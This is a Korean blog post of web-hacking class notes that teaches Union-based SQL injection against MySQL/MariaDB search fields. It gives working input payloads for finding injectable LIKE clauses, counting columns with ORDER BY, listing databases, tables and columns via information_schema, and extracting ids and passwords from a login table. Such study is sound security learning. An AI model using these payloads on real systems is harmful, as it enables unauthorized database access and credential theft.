Web Hacking Study/수업 정리

[3주차] 데이터 탈취, Union SQL Injection -2

silver surfer 2022. 4. 9.

** 데이터 추출 (2가지 타입)

1. SQL 질의문 결과가 화면에 보이는 경우

: 주소 검색, 게시글 리스트, 게시글 확인 등등

2. SQL 질의문 결과가 화면에 안 보이는 경우 

: 로그인, 아이디 중복 체크

 

** 전략 세우기

(1) 화면에 결과가 보이면

- Union SQL Injection

(2) SQL 에러가 보인다면

- Error SQL Injection

(3) SQL 질의 결과가 화면에 안 나온다면

- Blind SQL Injection

 

** Union SQL Injection (mysql 기준)

(select ~) UNION (select ~)

 

예를 들어

select id, name from user_info union select title, author from book_info;

를 실행하면 user_info 테이블과 book_info 테이블을 합친 결과를 보여준다.

결과가 나타날 때의 기준은 main 쿼리 select id, name from user_info이고, main 쿼리가 컬럼 제목이 된다.

select title, author from book_info;는 sub쿼리

* Rule: 컬럼 수가 같아야 함

 

① main 쿼리의 컬럼 개수를 알기 위해 order by [컬럼 이름] 을 사용한다

select [컬럼 이름] from member order by [컬럼 이름]

select 뒤의 컬럼 이름과 order by 뒤에 나오는 컬럼 이름이 같아야한다.

 

또는

select [컬럼 이름] from member order by 1

처럼 숫자가 올 수 있다. 위의 예시에서는 첫 번째 컬럼 이름으로 정렬하겠다는 의미다.

만약 order by 뒤의 숫자가 table의 컬럼 개수보다 많게 입력이 되면 에러가 난다.

이 점을 이용해서 오류가 날 때까지 숫자를 하나씩 늘려나가면 컬럼 개수를 알아낼 수 있다.

 

만약 문자열 일부만 입력했는데 화면에 결과가 나온다면

select ~~ from user_info where id like'%%'

like 절 (==의미가 아닌 포함의 의미)임을 생각해보아야한다. 이런 문법은 보통 게시판에서 볼 수 있다. 이 SQL문에서 SQL Injection이 되는지 확인

 

input: mar'+'io

select ~~ from user_info where id like'%mar'+'io%'

안 되면 다른 접근을 해야한다.

 

input: mario%' and '1%'='1

select ~~ from user_info where id like'%mario%' and '1%'='1%'

결과가 나오면 SQL Injection이 되는 곳임을 알 수 있다.

 

주석을 넣어보았을 때

input: mario'#

select ~~ from user_info where id like'%mario'#%'

결과가 나온다면 order by를 사용해볼 수 있다. order by 숫자 늘려서 컬럼 개수를 알아낸다

컬럼 개수를 알아내면 union을 사용할 수 있다.

 

input: mario%' union select '1','2','3','4','5','6

select ~~ from user_info where id like'%mario%' union select '1','2','3','4','5','6%'

그러면 select ~~ from user_info where id like'%mario%의 결과도 나오고 select '1','2','3','4','5','6% 의 결과도 나온다.

이 문법으로 출력되는 컬럼과 출력되지 않는 컬럼 위치를 알 수 있다. 

 

** Union SQL Injection step

① 컬럼 개수 알아내기

② 출력되는 컬럼 위치 알아내기

+ 그 자리가 int인지 str인지 자료형 알아내기

③ 원하는 SQL 질의문 삽입

 

출력되는 컬럼 위치가 1,4,5,6이라고 가정했을 때, 원하는 SQL문을 select문에 맞춰 사용한다.

id와 password를 보려면, 결과를 볼 수 있는 컬럼에 맞춰서 사용할 수 있다.

 

input: mario%' union select id,'2','3',pass,'5','6%', from login #

select ~~ from ~ where id like'%mario%' union select id,'2','3',pass,'5','6%', from login #%'

 

테이블 이름과 컬럼 이름은 어떻게 알아낼까

DB 시스템 테이블 이용

DB 종류마다 다름, 구글 검색, mysql select database list 검색하면 나옴

 

'# 주석을 쓰는건 mariaDB, mysql 중 하나일 가능성임을 가정하고 시스템 테이블을 확인한다. 

 

** DB 구조

● DataBase

-> select database()

현재 데이터베이스 이름을 가져올 수 있다. 

예를 들면

input: mario%' union select database(), '2','3','4','5','6' #

처럼 결과가 보이는 위치가 넣어준다

 

존재하는 모든 DB 이름을 가져오려면

-> select schema_name from information_schema.schemata

 

input: mario%' union select schema_name, '2','3','4','5','6' from information_schema.schemata #

 

● Table

Table 리스트 쿼리

-> select table_name from information_schema.tables 

DB에 존재하는 모든 table 이름이 나온다.

 

input: mario%' union select '1','2','3', table_name, '5','6' from information_schema.tables where table_schema = 'DB 이름'#

처럼 사용할 수 있다. where table_schema = 'DB이름' 으로 알아내고자 하는 table 명을 찾을 수 있다

 

● Column

테이블 안의 컬럼 명을 알고싶으면

Column 이름 조회 -> select column_name from information_schema.columns where table_name = '테이블 이름'

특정 테이블의 컬럼 이름만 추출한다

 

input: mario%' union select column_name,'2','3','4','5','6 from information_schema.columns where table_name = '테이블 이름' #

 

그러나 입력할 때 무작정 입력하면 안 되고 컬럼의 자료형에 맞춰서 넣어야한다

자료형을 알아볼 때에는

▷ union null, null, null

▷ union 1,null, null 

통과

▷ union 1,2,null 

통과 못하면

▷ union 1,'2',null...

이런 식으로 자료형을 바꿔가면서 알아낸다

댓글